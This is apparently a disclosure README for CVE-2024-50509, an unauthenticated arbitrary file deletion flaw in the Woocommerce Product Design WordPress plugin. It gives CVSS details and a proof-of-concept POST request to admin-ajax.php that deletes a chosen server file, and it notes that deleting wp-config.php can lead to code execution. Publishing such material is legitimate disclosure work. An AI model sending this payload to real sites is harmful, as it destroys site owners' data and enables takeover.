Woocommerce Product Design <= 1.0.0 - Unauthenticated Arbitrary File Deletion# CVE-2024-50509
Woocommerce Product Design <= 1.0.0 - Unauthenticated Arbitrary File Deletion
# Description
The Woocommerce Product Design plugin for WordPress is vulnerable to arbitrary file deletion due to insufficient file path validation in all versions up to, and including, 1.0.0. This makes it possible for unauthenticated attackers to delete arbitrary files on the server, which can easily lead to remote code execution when the right file is deleted (such as wp-config.php).
## Details
- **Type**: plugin
- **Slug**: woo-product-design
- **Affected Version**: 1.0.0
- **CVSS Score**: 9.8
- **CVSS Rating**: Critical
- **CVSS Vector**: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
- **CVE**: CVE-2024-50509
- **Status**: Closed
POC
---
```
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: example.com
Content-Type: application/x-www-form-urlencoded
action=pc_remove_uploaded_image&file[path]=/var/www/html/readme.html
```
[4.0K] /data/pocs/56c8496412d78f067c57aceeda889176c2f47855
└── [ 934] README.md
0 directories, 1 file